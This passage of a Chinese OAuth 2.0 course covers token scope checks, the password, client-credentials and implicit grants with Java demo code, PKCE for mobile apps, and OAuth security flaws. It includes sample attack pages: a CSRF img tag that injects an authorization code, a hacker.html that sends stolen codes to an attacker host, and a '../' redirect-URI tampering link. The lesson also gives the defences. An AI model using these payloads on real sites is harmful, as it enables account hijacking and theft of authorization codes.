京东商家开放平台的受保护资源服务每次接收到小兔软件的请求时,都会根据该请求中access_token的值找到对应的商家ID,继而根据商家ID查询到商家的订单信息,也就是不同的商家对应不同的订单数据。

//不同的用户对应不同的数据
String user = OauthServlet.tokenMap.get(accessToken);
queryOrders(user);

在上面讲三种权限的时候,我举的例子实际上都属于一个系统提供了查询、添加、删除这样的所有服务。此时你可能会想到,现在的系统不已经是分布式系统环境了么,如果有很多个受保护资源服务,比如提供用户信息查询的用户资源服务、提供商品查询的商品资源服务、提供订单查询的订单资源服务,那么每个受保护资源服务岂不是都要把上述的权限范围校验执行一遍吗,这样不就会有大量的重复工作产生么?

在这里,我特别高兴你能想到这一点。为了应对这种情况,我们应该有一个统一的网关层来处理这样的校验,所有的请求都会经过API GATEWAY 跳转到不同的受保护资源服务。这样呢,我们就不需要在每一个受保护资源服务上都做一遍权限校验的工作了,而只需要在API GATEWAY 这一层做权限校验就可以了。系统结构如下图所示。

总结

截止到这一讲呢,我们已经把OAuth 2.0 中授权码相关的流程所涉及到的内容都讲完了。通过02到05这4讲,你可以很清晰地理解授权码流程的核心原理了,也可以弄清楚如何使用以及如何接入这一授权流程了。

我在本讲开始的时候,提到OAuth 2.0的复杂性实际上都给了授权服务来承担,接着我从第三方软件和受保护资源的角度,分别介绍了这两部分系统在接入OAuth 2.0的时候应该注意哪些方面。总结下来,我其实希望你能够记住以下两点。

  1. 对于第三方软件,比如小兔打单软件来讲, 它的主要目的就是获取访问令牌,使用访问令牌,这当然也是整个OAuth 2.0的目的,就是让第三方软件来做这两件事。在这个过程中需要强调的是,第三方软件在使用访问令牌的时候有三种方式,我们建议在平台和第三方软件约定好的前提下, 优先采用Post表单提交的方式
  2. 受保护资源系统,比如小兔软件要访问开放平台的订单数据服务,它需要注意的是权限的问题,这个权限范围主要包括, 不同的权限会有不同的操作,不同的权限也会对应不同的数据,不同的用户也会对应不同的数据

思考题

如果使用刷新令牌refresh_token请求回来一个新的访问令牌access_token,按照一般规则授权服务上旧的访问令牌应该要立即失效,但是如果在这之前已经有使用旧的访问令牌发出去的请求,不就受到影响了吗,这种情况下应该如何处理呢?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 除了授权码许可类型,OAuth 2.0还支持什么授权流程?

你好,我是王新栋。

在前面几讲学习授权码许可类型的原理与工作流程时,不知道你是不是一直有这样一个疑问:授权码许可的流程最完备、最安全没错儿,但它适合所有的授权场景吗?在有些场景下使用授权码许可授权,是不是过于复杂了,是不是根本就没必要这样?

比如,小兔打单软件是京东官方开发的一款软件,那么小明在使用小兔的时候,还需要小兔再走一遍授权码许可类型的流程吗?估计你也猜到答案了,肯定是不需要了。

你还记得授权码许可流程的特点么?它通过授权码这种临时的中间值,让小明这样的用户参与进来,从而让小兔软件和京东之间建立联系,进而让小兔代表小明去访问他在京东店铺的订单数据。

现在小兔被“招安”了,是京东自家的了,是被京东充分信任的,没有“第三方软件”的概念了。同时,小明也是京东店铺的商家,也就是说软件和用户都是京东的资产。这时,显然没有必要再使用授权码许可类型进行授权了。但是呢,小兔依然要通过互联网访问订单数据的Web API,来提供为小明打单的功能。

于是,为了保护这些场景下的Web API,又为了让 OAuth 2.0 更好地适应现实世界的更多场景,来解决比如上述小兔软件这样的案例,OAuth 2.0体系中还提供了资源拥有者凭据许可类型。

资源拥有者凭据许可

从“资源拥有者凭据许可”这个命名上,你可能就已经理解它的含义了。没错,资源拥有者的凭据,就是用户的凭据,就是用户名和密码。可见,这是最糟糕的一种方式。那为什么OAuth 2.0还支持这种许可类型,而且编入了OAuth 2.0的规范呢?

我们先来思考一下。正如上面我提到的,小兔此时就是京东官方出品的一款软件,小明也是京东的用户,那么小明其实是可以使用用户名和密码来直接使用小兔这款软件的。原因很简单,那就是这里不再有“第三方”的概念了。

但是呢,如果每次小兔都是拿着小明的用户名和密码来通过调用Web API的方式,来访问小明店铺的订单数据,甚至还有商品信息等,在调用这么多API的情况下,无疑增加了用户名和密码等敏感信息的攻击面。

如果是使用了token来代替这些“满天飞”的敏感信息,不就能很大程度上保护敏感信息数据了吗?这样,小兔软件只需要使用一次用户名和密码数据来换回一个token,进而通过token来访问小明店铺的数据,以后就不会再使用用户名和密码了。

接下来,我们一起看下这种许可类型的流程,如下图所示:

步骤1:当用户访问第三方软件小兔时,会提示输入用户名和密码。索要用户名和密码,就是资源拥有者凭据许可类型的特点。

步骤2: 这里的grant_type的值为password,告诉授权服务使用资源拥有者凭据许可凭据的方式去请求访问。

Map<String, String> params = new HashMap<String, String>();
params.put("grant_type","password");
params.put("app_id","APPIDTEST");
params.put("app_secret","APPSECRETTEST");
params.put("name","NAMETEST");
params.put("password","PASSWORDTEST");

String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));

步骤3:授权服务在验证用户名和密码之后,生成access_token的值并返回给第三方软件。

if("password".equals(grantType)){
    String appSecret = request.getParameter("app_secret");
    String username = request.getParameter("username");
    String password = request.getParameter("password");

    if(!"APPSECRETTEST".equals(appSecret)){
        response.getWriter().write("app_secret is not available");
        return;
    }
    if(!"USERNAMETEST".equals(username)){
        response.getWriter().write("username is not available");
        return;
    }
    if(!"PASSWORDTEST".equals(password)){
        response.getWriter().write("password is not available");
        return;
    }
    String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌access_token的值
    response.getWriter().write(accessToken);
}

到了这里,你可以掌握到一个信息:如果软件是官方出品的,又要使用OAuth 2.0来保护我们的Web API,那么你就可以使用小兔软件的做法,采用资源拥有者凭据许可类型。

无论是我们的架构、系统还是框架,都是致力于解决现实生产中的各种问题的。除了资源拥有者凭据许可类型外,OAuth 2.0 体系针对现实的环境还提供了客户端凭据许可和隐式许可类型。接下来,让我们继续看看这两种授权许可类型吧。

客户端凭据许可

如果没有明确的资源拥有者,换句话说就是,小兔软件访问了一个不需要用户小明授权的数据,比如获取京东LOGO的图片地址,这个LOGO信息不属于任何一个第三方用户,再比如其它类型的第三方软件来访问平台提供的省份信息,省份信息也不属于任何一个第三方用户。

此时,在授权流程中,就不再需要资源拥有者这个角色了。当然了, 你也可以形象地理解为 “资源拥有者被塞进了第三方软件中” 或者 “第三方软件就是资源拥有者”。这种场景下的授权,便是客户端凭据许可,第三方软件可以直接使用注册时的app_id和app_secret来换回访问令牌token的值。

我们还是以小明使用小兔软件为例,来看下客户端凭据许可的整个授权流程,如下图所示:

另外一点呢,因为授权过程没有了资源拥有者小明的参与,小兔软件的后端服务可以随时发起access_token的请求,所以这种授权许可也不需要刷新令牌。

这样一来,客户端凭据许可类型的关键流程,就是以下两大步。

步骤1:第三方软件小兔通过后端服务向授权服务发送请求, 这里grant_type的值为client_credentials,告诉授权服务要使用第三方软件凭据的方式去请求访问。

Map<String, String> params = new HashMap<String, String>();
params.put("grant_type","client_credentials");
params.put("app_id","APPIDTEST");
params.put("app_secret","APPSECRETTEST");

String accessToken = HttpURLClient.doPost(oauthURl,HttpURLClient.mapToStr(params));

步骤2:在验证app_id和app_secret的合法性之后,生成access_token的值并返回。

String grantType = request.getParameter("grant_type");
String appId = request.getParameter("app_id");

if(!"APPIDTEST".equals(appId)){
    response.getWriter().write("app_id is not available");
    return;
}
if("client_credentials".equals(grantType)){
  	String appSecret = request.getParameter("app_secret");
    if(!"APPSECRETTEST".equals(appSecret)){
        response.getWriter().write("app_secret is not available");
        return;
    }
    String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌access_token的值
    response.getWriter().write(accessToken);
}

到这里,我们再小结下。在获取一种不属于任何一个第三方用户的数据时,并不需要类似小明这样的用户参与,此时便可以使用客户端凭据许可类型。

接下来,我们再一起看看今天要讲的最后一种授权许可类型,就是隐式许可类型。

隐式许可

让我们再想象一下,如果小明使用的小兔打单软件应用没有后端服务,就是在浏览器里面执行的,比如纯粹的JavaScript应用,应该如何使用OAuth 2.0呢?

其实,这种情况下的授权流程就可以使用隐式许可流程,可以理解为第三方软件小兔直接嵌入浏览器中了。

在这种情况下,小兔软件对于浏览器就没有任何保密的数据可以隐藏了,也不再需要应用密钥app_secret的值了,也不用再通过授权码code来换取访问令牌access_token的值了。因为使用授权码的目的之一,就是把浏览器和第三方软件的信息做一个隔离,确保浏览器看不到第三方软件最重要的访问令牌access_token的值。

因此, 隐式许可授权流程的安全性会降低很多。在授权流程中,没有服务端的小兔软件相当于是嵌入到了浏览器中,访问浏览器的过程相当于接触了小兔软件的全部,因此我用虚线框来表示小兔软件,整个授权流程如下图所示:

接下来,我使用Servlet的Get请求来模拟这个流程,一起看看相关的示例代码。

步骤1:用户通过浏览器访问第三方软件小兔。此时,第三方软件小兔实际上是嵌入浏览器中执行的应用程序。

步骤2:这个流程和授权码流程类似,只是需要特别注意一点, response_type的值变成了token,是要告诉授权服务直接返回access_token的值。随着我们后续的讲解,你会发现隐式许可流程是唯一在前端通信中要求返回access_token的流程。对,就这么 “大胆”,但 “不安全”。

Map<String, String> params = new HashMap<String, String>();
params.put("response_type","token");//告诉授权服务直接返回access_token
params.put("redirect_uri","http://localhost:8080/AppServlet-ch02");
params.put("app_id","APPIDTEST");

String toOauthUrl = URLParamsUtil.appendParams(oauthUrl,params);//构造请求授权的URl

response.sendRedirect(toOauthUrl);

步骤3:生成acccess_token的值,通过前端通信返回给第三方软件小兔。

String responseType = request.getParameter("response_type");
String redirectUri =request.getParameter("redirect_uri");
String appId = request.getParameter("app_id");
if(!"APPIDTEST".equals(appId)){
		return;
}

if("token".equals(responseType)){
    //隐式许可流程(模拟),DEMO CODE,注意:该流程全部在前端通信中完成
    String accessToken = generateAccessToken(appId,"USERTEST");//生成访问令牌access_token的值

    Map<String, String> params = new HashMap<String, String>();
    params.put("redirect_uri",redirectUri);
    params.put("access_token",accessToken);

    String toAppUrl = URLParamsUtil.appendParams(redirectUri,params);//构造第三方软件的回调地址,并重定向到该地址
    response.sendRedirect(toAppUrl);//使用sendRedirect方式模拟前端通信
}

如果你的软件就是直接嵌入到了浏览器中运行,而且还没有服务端的参与,并且还想使用OAuth 2.0流程的话,也就是像上面我说的小兔这个例子,那么便可以直接使用隐式许可类型了。

如何选择?

现在,我们已经理解了OAuth 2.0的4种授权许可类型的原理与流程。那么,我们应该如何选择到底使用哪种授权许可类型呢?

这里,我给你的建议是,在对接 OAuth 2.0 的时候先考虑授权码许可类型,其次再结合现实生产环境来选择:

  • 如果小兔软件是官方出品,那么可以直接使用资源拥有者凭据许可;
  • 如果小兔软件就是只嵌入到浏览器端的应用且没有服务端,那就只能选择隐式许可;
  • 如果小兔软件获取的信息不属于任何一个第三方用户,那可以直接使用客户端凭据许可类型。

总结

好了,我们马上要结束这篇文章了,在这之前呢,我们一直讲的是授权码许可类型,你已经知道了这是一种流程最完备、安全性最高的授权许可流程。不过呢,现实世界总是有各种各样的变化,OAuth 2.0也要适应这样的变化,所以才有了我们今天讲的另外这三种许可类型。同时,关于如何来选择使用这些许可类型,我前面也给了大家一个建议。

加上前面我们讲的授权码许可类型,我们一共讲了4种授权许可类型,它们最显著的区别就是 获取访问令牌access_token的方式不同。最后,我通过一张表格来对比下:

除了上面这张表格所展现的4种授权许可类型的区别之外,我希望你还能记住以下两点。

  1. 所有的授权许可类型中,授权码许可类型的安全性是最高的。因此,只要具备使用授权码许可类型的条件,我们一定要首先授权码许可类型。
  2. 所有的授权许可类型都是为了解决现实中的实际问题,因此我们还要结合实际的生产环境,在保障安全性的前提下选择最合适的授权许可类型,比如使用客户端凭据许可类型的小兔软件就是一个案例。

我把今天用到的代码放到了GitHub上,你可以点击 这个链接 查看。

思考题

如果受限于应用特性所在的环境,比如在没有浏览器参与的情况下,我们应该如何选择授权许可类型呢,还可以使用授权码许可流程吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 如何在移动App中使用OAuth 2.0?

你好,我是王新栋。

在前面几讲中,我都是基于Web应用的场景来讲解的OAuth 2.0。除了Web应用外,现实环境中还有非常多的移动App。那么,在移动App中,能不能使用OAuth 2.0 ,又该如何使用OAuth 2.0呢?

没错,OAuth 2.0最初的应用场景确实是Web应用,但是它的伟大之处就在于,它把自己的核心协议定位成了一个框架而不是单个的协议。这样做的好处是,我们可以基于这个基本的框架协议,在一些特定的领域进行扩展。

因此,到了桌面或者移动的场景下,OAuth 2.0的协议一样适用。考虑到授权码许可是最完备、最安全的许可类型,所以我在讲移动App如何使用OAuth 2.0的时候,依然会用授权码许可来讲解,毕竟“要用就用最好的”。

当我们开发一款移动App的时候,可以选择没有Server端的 “纯App” 架构,比如这款App不需要跟自己的Server端通信,或者可以调用其它开放的HTTP接口;当然也可以选择有服务端的架构,比如这款App还想把用户的操作日志记录下来并保存到Server端的数据库中。

那总结下来呢,移动App可以分为两类,一类是没有Server端的App应用,一类是有Server端的App应用。

这两类App在使用 OAuth 2.0 时的最大区别,在于获取访问令牌的方式:

  • 如果有Server端,就建议通过Server端和授权服务做交互来换取访问令牌;
  • 如果没有Server端,那么只能通过前端通信来跟授权服务做交互,比如在上一讲中提到的隐式许可授权类型。当然,这种方式的安全性就降低了很多。

有些时候,我们可能觉得自己开发一个App不需要一个Server端。那好,就让我们先来看看没有Server端的App应用如何使用授权码许可类型。

没有Server端的App

在一个没有Server端支持的纯App应用中,我们首先想到的是,如何可以像Web服务那样,让请求和响应“来去自如”呢。

你可能会想,我是不是可以将一个“迷你”的Web服务器嵌入到App里面去,这样不就可以像Web应用那样来使用OAuth 2.0 了么?确实,这是行得通的,而且已经有App这样做了。

这样的App通过监听运行在localhost上的Web服务器URI,就可以做到跟普通的Web应用一样的通信机制。但这种方式不是我们这次要讲的重点,如果你想深入了解可以去查些资料。因为当使用这种方式的时候,请求访问令牌时需要的app_secret就只能保存在用户本地设备上,而这并不是我们所建议的。

到这里,你应该猜到了,问题的关键在于如何保存app_secret,因为App会被安装在成千上万个终端设备上,app_secret一旦被破解,就将会造成灾难性的后果。这时,有的同学突发奇想,如果不用app_secret,也能在授权码流程里换回访问令牌access_token,不就可以了吗?

确实可以,但新的问题也来了。在授权码许可类型的流程中,如果没有了app_secret这一层的保护,那么通过授权码code换取访问令牌的时候,就只有授权码code在“冲锋陷阵”了。这时,授权码code一旦失窃,就会带来严重的安全问题。那么,我既不使用app_secret,还要防止授权码code失窃,有什么好的方法吗?

有,OAuth 2.0 里面就有这样的指导方法。这个方法就是我们将要介绍的PKCE协议,全称是Proof Key for Code Exchange by OAuth Public Clients。

在下面的流程图中,为了突出第三方软件使用PKCE协议时与授权服务之间的通信过程,我省略了受保护资源服务和资源拥有者的角色:

我来和你分析下这个流程中的重点。

首先,App自己要生成一个随机的、长度在43~128字符之间的、参数为 code_verifier 的字符串验证码;接着,我们再利用这个 code_verifier,来生成一个被称为“挑战码”的参数code_challenge

那怎么生成这个code_challenge的值呢?OAuth 2.0 规范里面给出了两种方法,就是看code_challenge_method这个参数的值:

  • 一种code_challenge_method=plain,此时code_verifier的值就是code_challenge的值;
  • 另外一种code_challenge_method=S256,就是将code_verifier值进行ASCII编码之后再进行哈希,然后再将哈希之后的值进行BASE64-URL编码,如下代码所示。
code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))

好了,我知道有这样两个值,也知道它们的生成方法了,但这两个值跟我们的授权码流程有什么关系呢,又怎么利用它们呢?不用着急,我们接着讲。

授权码流程简单概括起来不是有两步吗,第一步是获取授权码code,第二步是用app_id+app_secret+code获取访问令牌access_token。刚才我们的“梦想”不是设想不使用app_secret,但同时又能保证授权码流程的安全性么?

没错。code_verifier和code_challenge这两个参数,就是来帮我们实现这个“梦想”的。

第一步获取授权码code的时候,我们使用code_challenge 参数。需要注意的是,我们要同时将code_challenge_method参数也传过去,目的是让授权服务知道生成code_challenge值的方法是plain还是S256。

https://authorization-server.com/auth?
response_type=code&
app_id=APP_ID&
redirect_uri=REDIRECT_URI&
code_challenge=CODE_CHALLENGE&
code_challenge_method=S256

第二步获取访问令牌的时候,我们使用code_verifier参数,授权服务此时会将code_verifier的值进行一次运算。那怎么运算呢?就是上面code_challenge_method=S256的这种方式。

没错,第一步请求授权码的时候,已经告诉授权服务生成code_challenge的方法了。所以,在第二步的过程中,授权服务将运算的值跟第一步接收到的值做比较,如果相同就颁发访问令牌。

POST https://api.authorization-server.com/token?
  grant_type=authorization_code&
  code=AUTH_CODE_HERE&
  redirect_uri=REDIRECT_URI&
  app_id=APP_ID&
  code_verifier=CODE_VERIFIER

现在,你就知道了我们是如何使用code_verifier和code_challenge这两个参数的了吧。总结一下就是,换取授权码code的时候,我们使用code_challenge参数值;换取访问令牌的时候,我们使用code_verifier参数值。那么,有的同学会继续问了,我们为什么要这样做呢。

现在,就让我来和你分析一下。

我们的愿望是,没有Server端的手机App,也可以使用授权码许可流程,对吧?app_secret不能用,因为它只能被存在用户的设备上,我们担心被泄露。

那么,在没有了app_secret这层保护的前提下,即使我们的授权码code被截获,再加上code_challenge也同时被截获了,那也没有办法由code_challenge逆推出code_verifier的值。而恰恰在第二步换取访问令牌的时候,授权服务需要的就是code_verifier的值。因此,这也就避免了访问令牌被恶意换取的安全问题。

现在,我们可以通过PKCE协议的帮助,让没有Server端的App也能够安全地使用授权码许可类型进行授权了。但是,按照 OAuth 2.0 的规范建议,通过后端通信来换取访问令牌是较为安全的方式。所以呢,在这里,我想跟你探讨的是,我们真的不需要一个Server端吗?在做移动应用开发的时候,我们真的从设计上就决定废弃Server端了吗?

有Server端的App

如果你开发接入过微信登录,就会在微信的官方文档上看到下面这句话:

微信 OAuth 2.0 授权登录目前支持 authorization_code 模式,适用于拥有 Server 端的应用授权。

没错,微信的OAuth 2.0 授权登录,就是建议我们需要一个Server端来支持这样的授权接入。

那么,有Server端支持的App又是如何使用OAuth 2.0 的授权码许可流程的呢?其实,在前面几讲的基础上,我们现在理解这样的场景并不是什么难事儿。

我们仍以微信登录为例,看一下 官方的流程图

看到这个图,你是不是觉得特别熟悉,跟普通的授权码流程没有区别,仍是两步走的策略:第一步换取授权码code,第二步通过授权码code换取访问令牌access_token。

这里的第三方应用,就是我们作为开发者来开发的应用,包含了移动App和Server端。我们将其“放大”得到下面这张图:

我们从这张“放大”的图中,就会发现有Server端的App在使用授权码流程的时候,跟普通的Web应用几乎没有任何差别。

大概流程是:当我们访问第三方App的时候,需要用到微信来登录;第三方App可以拉起微信的App,我们会在微信的App里面进行登录及授权;微信Server端验证成功之后会返回一个授权码code,通过微信App传递给了第三方App;后面的流程就是我们熟悉的使用授权码code和app_secret,换取访问令牌access_token的值了。

这次使用app_secret的时候,我们是在第三方App的Server端来使用的,因此安全性上没有任何问题。

总结

今天这一讲,我重点和你讲了两块内容,没有Server端的App和有Server端的App分别是如何使用授权码许可类型的。我希望你能够记住以下两点内容。

  1. 我们使用OAuth 2.0协议的目的,就是要起到安全性的作用,但有些时候,因为使用不当反而会造成更大的安全问题,比如将app_secret放入App中的最基本错误。如果放弃了app_secret,又是如何让没有Server端的App安全地使用授权码许可协议呢?针对这种情况,我和你介绍了PKCE协议。它是一种在失去app_secret保护的时候,防止授权码失窃的解决方案。
  2. 我们需要思考一下,我们的App真的不需要一个Server端吗?我建议你在开发移动App的时候,尽可能地都要搭建一个Server端,因为通过后端通信来传输访问令牌比通过前端通信传输要安全得多。我也举了微信的例子,很多官方的开放平台在提供OAuth 2.0服务的时候,都会建议开发者要有一个相应的Server端。

那么,关于OAuth 2.0 的使用还有哪些安全方面的防范措施是我们要注意的呢,接下来的一讲中我们会重点跟大家介绍。

思考题

在移动App中,你还能想到有哪些相对安全的方式来使用OAuth 2.0吗?

欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

| 实践OAuth 2.0时,使用不当可能会导致哪些安全漏洞?

你好,我是王新栋。

当知道这一讲的主题是OAuth 2.0的安全漏洞时,你可能要问了:“OAuth 2.0 不是一种安全协议吗,不是保护Web API的吗?为啥OAuth 2.0自己还有安全的问题了呢?”

首先,OAuth 2.0 的确是一种安全协议。这没啥问题,但是它有很多使用规范,比如授权码是一个临时凭据只能被使用一次,要对重定向URI做校验等。那么,如果使用的时候你没有按照这样的规范来实施,就会有安全漏洞了。

其次,OAuth 2.0既然是“生长”在互联网这个大环境中,就一样会面对互联网上常见安全风险的攻击,比如跨站请求伪造(Cross-site request forgery,CSRF)、跨站脚本攻击(Cross Site Scripting,XSS)。

最后,除了这些常见攻击类型外,OAuth 2.0 自身也有可被利用的安全漏洞,比如授权码失窃、重定向URI伪造。

所以,我们 在实践OAuth 2.0的过程中,安全问题一定是重中之重。接下来,我挑选了5个典型的安全问题,其中CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险,授权码失窃和重定向URI被篡改属于OAuth2.0“专属”的安全风险。接下来,我就和你一起看看这些安全风险的由来,以及如何应对吧。

CSRF攻击

对于CSRF的定义,《OAuth 2 in Action》这本书里的解释,是我目前看到的最为贴切的解释:恶意软件让浏览器向 已完成用户身份认证 的网站发起请求,并 执行有害的操作,就是跨站请求伪造攻击。

它是互联网上最为常见的攻击之一。我们在实践OAuth2.0的过程,其实就是在构建一次互联网的应用。因此,OAuth 2.0同样也会面临这个攻击。接下来,我通过一个案例和你说明这个攻击类型。

有一个软件 A,我们让它来扮演攻击者,让它的开发者按照正常的流程使用极客时间。当该攻击者授权后,拿到授权码的值 codeA之后,“立即按下了暂停键”,不继续往下走了。那它想干啥呢,我们继续往下看。

这时, 有一个第三方软件B,比如咱们的Web版极客时间,来扮演受害者吧。当然最终的受害者是用户,这里是用Web版极客时间来作为被软件A攻击的对象。

极客时间用于接收授权码的回调地址为 https://time.geekbang.org/callback。有一个用户G已经在极客时间的平台登录,且对极客时间进行了授权,也就是用户G已经在极客时间平台上有登录态了。

如果此时攻击者软件A,在自己的网站上构造了一个恶意页面:

<html>
<img src ="https://time.geekbang.org/callback?code=codeA">
</html>

如果这个时候用户G被攻击者软件A诱导而点击了这个恶意页面,那结果就是,极客时间使用codeA值去继续OAuth 2.0的流程了。这其实就走完了一个CSRF攻击的过程,如下图所示:

如果我们将OAuth 2.0用于了身份认证,那么就会造成严重的后果,因为用户G使用的极客时间的 授权上下文环境 跟攻击者软件A的 授权上下文环境 绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害,我们还是拿极客时间来举例。

假如,极客时间提供了用户账号和微信账号做绑定的功能,也就是说用户先用自己的极客时间的账号登录,然后可以绑定微信账号,以便后续可以使用微信账号来登录。在绑定微信账号的时候,微信会咨询你是否给极客时间授权,让它获取你在微信上的个人信息。这时候,就需要用到OAuth 2.0的授权流程。

如果攻击者软件A,通过自己的极客时间账号事先做了上面的绑定操作,也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天,软件A想要“搞事情”了,便在发起了一个授权请求后构造了一个攻击页面,里面包含的模拟代码正如我在上面描述的那样,来诱导用户G点击。

而用户G已经用极客时间的账号登录了极客时间,此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者A“种下”的这个恶意页面,那么后面换取授权的访问令牌access_token,以及通过accces_token获取的信息就都是攻击者软件A的了。

这就相当于,用户G将自己的极客时间的账号跟攻击者软件A的微信账号绑定在了一起。这样一来,后续攻击者软件A就能够通过自己的微信账号,来登录用户G的极客时间了。这个后果可想而知。

那如何避免这种攻击呢?方法也很简单,实际上OAuth 2.0中也有这样的建议,就是 使用state参数,它是一个随机值的参数。

还是以上面的场景为例,当极客时间请求授权码的时候附带一个自己生成state参数值,同时授权服务也要按照规则将这个随机的state值跟授权码code一起返回给极客时间。这样,当极客时间接收到授权码的时候,就要在极客时间这一侧做一个state参数值的比对校验,如果相同就继续流程,否则直接拒绝后续流程。

在这样的情况下,软件A要想再发起CSRF攻击,就必须另外构造一个state值,而这个state没那么容易被伪造。这本就是一个随机的数值,而且在生成时就遵从了被“猜中”的概率要极小的建议。比如,生成一个6位字母和数字的组合值,显然要比生成一个6位纯数字值被“猜中”的概率要小。所以,软件B通过使用state参数,就实现了一个基本的防跨站请求伪造保护。

我们再来总结下,这个攻击过程本质上就是,软件A(攻击者)用自己的授权码codeA的值,通过CSRF攻击,“替换”了软件B的授权码的值。

接下来,我再给你看一种互联网常见的安全攻击类型,也就是XSS攻击。

XSS攻击

XSS攻击的主要手段是将恶意脚本注入到请求的输入中,攻击者可以通过注入的恶意脚本来进行攻击行为,比如搜集数据等。截止到2020年6月23日,在OWASP(一个开源的Web应用安全项目)上查看安全漏洞排名的话,它依然在 TOP10 榜单上面,可谓“大名鼎鼎”。

网络上有很多关于XSS的介绍了,我推荐你看看 《XSS攻击原理分析与防御技术》 这篇文章,它很清晰地分析了XSS的原理以及防御方法。今天,我们主要看看它是怎么在OAuth 2.0的流程中“发挥”的。

当请求抵达受保护资源服务时,系统需要做校验,比如第三方软件身份合法性校验、访问令牌access_token的校验,如果这些信息都不能被校验通过,受保护资源服务就会返回错误的信息。

大多数情况下,受保护资源都是把输入的内容,比如app_id invalid、access_token invalid ,再回显一遍,这时就会被XSS攻击者捕获到机会。试想下,如果攻击者传入了一些恶意的、搜集用户数据的JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击。

因此,受保护资源服务就需要对这类XSS漏洞做修复,而具体的修复方法跟其它网站防御XSS类似,最简单的方法就是 对此类非法信息做转义过滤,比如对包含 <script><img><a> 等标签的信息进行转义过滤。

CSRF攻击、XSS攻击是我从OWASP网站上挑选的两个最为熟知的两种攻击类型,它们应该是所有Web系统都需要共同防范的。我们在实施OAuth 2.0 架构的时候,也一定要考虑到这层防护,否则就会给用户造成伤害。接下来,我再带着你了解一下水平越权攻击。

水平越权

水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户。这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性。

这么说可能有些抽象,我们看一个具体的例子。

还是以我们的“小兔打单软件”为例,第三方开发者开发了这款打单软件,目前有两个商家A和商家B购买并使用。现在小兔打单软件上面提供了根据订单ID查询订单数据的功能,如下图所示。

商家A和商家B分别给小兔打单软件应用做了授权,也就是说,小兔打单软件可以获取商家A和商家B的订单数据。此时没有任何问题, 那么商家A可以获取商家B的订单数据吗? 答案是,极有可能的。

在开放平台环境下,授权关系的校验是由一般由开放网关这一层来处理,因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌access_token获取了用户的身份,比如商家ID,就会透传到受保护资源服务,也就是上游接口提供方的系统。

此时,如果受保护资源服务没有对商家ID和订单ID做归属判断,就有可能发生商家A获取商家B订单数据的问题,造成水平越权问题。

发生水平越权问题的根本原因,还是开发人员的认知与意识不够。如果认知与意识跟得上,那在设计之初增加归属关系判断,比如上面提到的订单ID和商家ID的归属关系判断,就能在很大程度上避免这个漏洞。

同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:

  • 一方面,开放网关的作用是将用户授权之后的访问令牌access_token信息转换成真实的用户信息,比如上面提到的商家ID,然后传递到接口提供方,数据归属判断逻辑只能在接口提供方内部处理;
  • 另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理。

所以,在开放平台环境下,我们就要更加重视与防范数据的越权问题。

以上,CSRF攻击、XSS攻击、水平越权这三种攻击类型,它们都属于OAuth 2.0面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型,如果你想深入了解的话,可以看一下这篇 安全案例回顾 的文章。

接下来,我们再看两种OAuth 2.0专有的安全攻击,分别是授权码失窃、重定向URI被篡改。

授权码失窃

我们举个例子,先来学习授权码失窃这个场景。

如果第三方软件A有合法的app_id和app_secret,那么当它去请求访问令牌的时候,也是合法的。这个时候没有任何问题,让我们继续。

如果有一个用户G对第三方软件B,比如极客时间,进行授权并产生了一个授权码codeB,但并没有对攻击者软件A授权。此时,软件A是不能访问用户G的所有数据的。但这时,如果软件A获取了这个codeB,是不是就能够在没有获得用户G授权的情况下访问用户G的数据了?整个过程如下图所示。

这时问题的根源就在于两点:

  • 授权服务在进行授权码校验的时候,没有校验app_id_B;
  • 软件B(也就是极客时间)使用过一次codeB的值之后,授权服务没有删除这个codeB;

看到这里,通过校验app_id_B,并删除掉使用过一次的授权码及其对应的访问令牌,就可以从根本上来杜绝授权码失窃带来的危害了。

说到这里,你不禁要问了,授权码到底是怎么失窃的呢?接下来,我要介绍的就是授权码失窃的可能的方法之一,这也是OAuth 2.0中因重定向URI校验方法不当而遭受到的一种危害。这种安全攻击类型,就是重定向URI被篡改。

重定向URI被篡改

有的时候,授权服务提供方并没有对第三方软件的回调URI做完整性要求和完整性校验。比如,第三软件B极客时间的详细回调URI是 https://time.geekbang.org/callback,那么在完整性校验缺失的情况下,只要以 https://time.geekbang.org 开始的回调URI地址,都会被认为是合法的。

此时,如果黑客在 https://time.geekbang.org/page/ 下,创建了一个页面 hacker.html。这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务。

<html>
<img src ="https://clientA.com/catch">
</html>

好了,我们继续看下接下来的攻击流程:

首先,黑客将构造的攻击页面放到对应的hacker.html上,也就是 https://time.geekbang.org/page/hacker.html 上 ,同时构造出了一个新的重定向URI,即 https://time.geekbang.org/page/welcome/back.html../hacker.html

然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:

https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html

这样当授权服务做出响应进行重定向请求的时候,授权码code就返回到了hacker.html这个页面上。

